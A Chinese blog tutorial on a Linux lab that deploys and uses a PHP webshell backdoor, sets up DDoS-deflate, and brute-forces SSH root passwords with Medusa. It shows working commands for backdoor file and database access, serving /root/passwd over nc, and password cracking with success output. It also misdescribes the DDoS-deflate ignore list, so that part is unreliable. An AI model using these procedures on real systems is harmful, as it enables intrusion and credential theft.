文章目录
Linux云计算机构-防盗防击防破解三大工具:webshell、ddos-deflate、Medusa
1. webshell网站后门工具
1.1 webshell简介
webshell 是以asp
、php
、jsp
或者cgi
等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。
黑客在入侵一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
①web 的含义是需要服务器开放web服务。
②shell 的含义是取得对服务器某种程度上操作权限。
webshell 常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限
。
由于 webshell 大多是以动态脚本的形式出现,也有人称之为网站的后门工具
。
防范webshell的方法:
- 可写目录不给执行权限
- 有执行权限的目录不给写权限
1.2 部署webshell
快速部署LNMP环境:可以参考博主的其他博客。
webshell无法在php7版本中运行,故应安装php5版本。
# 上传webshell到/usr/share/nginx/html目录下
# 这个工具在上传的时候会被windows防火墙检测是有病毒的,需要允许下。
[root@server ~]# cd /usr/share/nginx/html/
[root@server html]# rz
[root@server html]# ll webshell2.php
-rw-r--r--. 1 root root 68592 12月 17 2018 webshell2.php
输入网址:http://192.168.80.128/webshell2.php
1.3 webshell的使用
输入密码登录进来后,如图:
①查看目录下各文件的情况:
可以下载、删除、重命名、修改时间等
②查看mysql数据库的情况:
要做这个测试,肯定得在服务器本地是可以连接上的。通过以下测试,要是mysql数据库被装了webshell这个后门,并成功连接上数据库,那整个mysql数据库就完全暴露了。数据库用户的密码一般会存在其他的php文件中。
③shell执行命令:
查看文件内容:
创建脚本:
④ 查看LNMP架构信息:
⑤执行php脚本:
⑥nc命令获取服务端的数据:
nc命令一般在前端运行,在后端运行的话在客户端上无法获取到数据。
当服务器上源数据被修改,需要重新创建监听端口,客户端才能获取到最新的数据,
否则会显示Ncat: Connection refused.
===================== 服务端主机 =================================
# 创建一个监听服务端端口9999,监听的数据为/root/passwd
[root@server ~]# echo "123456" > /root/passwd
[root@server ~]# nc -l 9999 < /root/passwd
# 再开启一个终端,可以看到9999端口被监听着。
[root@server ~]# netstat -antup | grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 8373/nc
tcp6 0 0 :::9999 :::* LISTEN 8373/nc
[root@server ~]# firewall-cmd --permanent --zone=public --add-port=9999/tcp
success
[root@server ~]# firewall-cmd --reload
success
========================= 客户端主机 ================================
# 在另一台主机上,获取到服务端监听的数据
[root@client ~]# nc 192.168.80.128 9999 > a1.txt
# 再开一个终端,看看获取到的数据情况。
[root@client ~]# cat a1.txt
123456
2. 使用DDOS deflate工具解决DDOS攻击
# 使用以下脚本可以检测服务器是否受到DDOS攻击
#!/bin/bash
netstat -antup | awk '{print $5}' | cut -d: -f1 | sort |uniq -c | sort -n
①当发现某个IP在频繁访问服务器时,若该IP是异常地址,可以手动写iptables规则,禁止该IP的访问。这种方式适用于异常IP较少的情况。
②当异常IP地址较多时,如100个,手动加容易出错而且会加大工作量。可以通过fail2ban
或DDOS deflate
工具自动检测异常IP,并自动加入到iptables规则。
DDOS deflate工具的使用:
下载地址:http://www.inetbase.com/scripts/ddos/
# 下载安装脚本:
[root@server ~]# wget http://www.inetbase.com/scripts/ddos/install.sh
# 授予该脚本执行权限,并执行该脚本
[root@server ~]# ll install.sh
-rw-r--r--. 1 root root 1067 1月 10 2006 install.sh
[root@server ~]# chmod +x install.sh
[root@server ~]# ./install.sh
# 安装结束,按q退出
配置文件介绍:
[root@server ~]# cat /usr/local/ddos/ddos.conf
##### 脚本和其他文件的路径
PROGDIR="/usr/local/ddos"
PROG="/usr/local/ddos/ddos.sh" # 执行脚本
IGNORE_IP_LIST="/usr/local/ddos/ignore.ip.list" # 该文件内的IP地址所在主机无法访问服务器。
CRON="/etc/cron.d/ddos.cron" # 定时任务
# APF="/etc/apf/apf"
IPT="/sbin/iptables"
##### 检查时间间隔,默认为1分钟
FREQ=1
##### 定义访问多少次才算作是异常IP,决定是否要ban掉
NO_OF_CONNECTIONS=150
##### ban的方式,禁用APF,推荐使用iptables
APF_BAN=0
##### 是否屏蔽IP,1为启用屏蔽。默认即可。
KILL=1
##### 当IP屏蔽后,发邮件给邮箱报警。
EMAIL_TO="root"
##### ban掉异常IP的时间,默认10分钟
BAN_PERIOD=600
[root@server ~]# cat /etc/cron.d/ddos.cron
SHELL=/bin/sh
0-59/1 * * * * root /usr/local/ddos/ddos.sh >/dev/null 2>&1
实战介绍:在1分钟内,若某个IP地址对服务器访问150次以上,就认为发生了DDOS,使用iptables把这个IP地址自动屏蔽掉。
# DDOS的配置按照以上配置即可。
# 配置httpd测试页面
[root@server ~]# yum install -y httpd
[root@server ~]# vim /etc/httpd/conf/httpd.conf
95 ServerName localhost:80
[root@server ~]# echo "ddos test httpd" > /var/www/html/index.html
[root@server ~]# systemctl start httpd
[root@server ~]# systemctl enable httpd
[root@server ~]# netstat -antup | grep httpd
tcp6 0 0 :::80 :::* LISTEN 20115/httpd
[root@server ~]# firewall-cmd --permanent --zone=public --add-port=80/tcp
success
[root@server ~]# firewall-cmd --reload
success
[root@server ~]# firewall-cmd --list-port
80/tcp
# 访问http://192.168.8.137/,能正常打开即可。
# 使用ab压测工具验证
[root@server ~]# ab -n 10000 -c 10 http://192.168.8.137/index.html
[root@server ~]# /usr/local/ddos/ddos.sh # 手动执行下脚本,或者等1分钟。
1003 192.168.8.137
1 servers)
1 Address
1 192.168.8.102
[root@server ~]# cat /usr/local/ddos/ignore.ip.list # 可以看到多了一个IP地址:192.168.8.137
127.0.0.1
192.168.8.137
# 此时,打开主机192.168.8.137上的浏览器,输入http://192.168.8.137/是无法访问成功的。即拒绝了该IP地址访问服务器。
3. 使用Medusa 美杜莎暴力破解SSH密码
Medusa 是一款速度快,支持大规模并行,模块化的暴力破解工具。可以同时对多个主机、用户、密码执行强力测试,Medusa和Hydra一样,属于在线密码破解工具。
Medusa 是支持 AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper
以及 Web 表单
的密码爆破工具。
官网:http://foofus.net/goons/jmk/medusa/medusa.html
下载地址:https://github.com/jmk-foofus/medusa/releases
源码包:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
Medusa工作原理介绍:Medusa暴力破解密码,实际上是通过创建主机、用户名、密码的测试数据,通过判断主机是否存在,再判断用户名是否存在,最后判断密码是否正确的方式去获取正确的密码,这所有的试探都是有medusa自动执行,无需人为干涉。
安装Medusa:
# 上传tar包
[root@server ~]# ll medusa-2.2.tar.gz
-rw-r--r--. 1 root root 407412 11月 15 08:51 medusa-2.2.tar.gz
# 安装依赖包
[root@server ~]# yum install libssh2-devel libssh2-devel -y
# 解压安装Medusa
[root@server ~]# tar xzf medusa-2.2.tar.gz -C /usr/local/src/
[root@server ~]# cd /usr/local/src/medusa-2.2/
# --enable-module-mod_name=yes 启用支持mod_name
[root@server medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes
[root@server medusa-2.2]# make -j 4 && make install
如何使用Medusa:
[root@server ~]# medusa
# 版本:Medusa v2.2
# 必须提供主机信息
句法: medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : 目标主机名或IP地址
-H [FILE] : 包含目标主机名或IP地址的文件
-u [TEXT] : 测试的用户名
-U [FILE] : 包含测试的用户名文件
-p [TEXT] : 测试的密码
-P [FILE] : 包含测试的密码文件
-C [FILE] : 包含host、user、password组合条目的文件
-O [FILE] : 日志信息文件
-e [n/s/ns] : 密码检查,n为空密码,s表示密码与用户名相同
-M [TEXT] : 执行模块的名称
-m [TEXT] : 传递参数到模块
-d : 显示所有模块的名称
-n [NUM] : 使用非默认TCP端口
-s : 启用SSL
-r [NUM] : 重试时间间隔,默认3秒
-t [NUM] : 设定线程数量
-T [NUM] : 同时测试的主机总数
-L : 并行化,每个用户使用一个线程
-f : 在任何主机上找到第一个主机名/密码后停止破解。
-F : 在任何主机上找到第一个主机名/密码后停止审计。
-q : 显示使用的模块信息
-v [NUM] : 详细级别0-6
-w [NUM] : 错误调试级别0-10
-V : 显示版本
-Z [TEXT] : 继续扫描上一次
使用Medusa暴力破解ssh密码:
# 创建测试数据
[root@server ~]# echo "192.168.8.137" > host.txt
[root@server ~]# echo "root" > username.txt
[root@server ~]# vim password.txt
[root@server ~]# cat password.txt
123456
aabbcc
123abc
acb123
hahahh
# 若密码正确,就可以获取到密码。若密码不正确,就获取不到密码。
# 密码正确的情况:
[root@server ~]# medusa -M ssh -H host.txt -U username.txt -p 123456
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 192.168.8.137 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.8.137 User: root Password: 123456 [SUCCESS]
# 密码不正确的情况:
[root@server ~]# medusa -M ssh -H host.txt -U username.txt -p abcdefg
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 192.168.8.137 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefg (1 of 1 complete)
# 检测password.txt中的密码是否有正确的。
[root@server ~]# medusa -M ssh -H host.txt -U username.txt -P password.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 192.168.8.137 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 5 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.8.137 User: root Password: 123456 [SUCCESS]
破解密码并记录日志信息: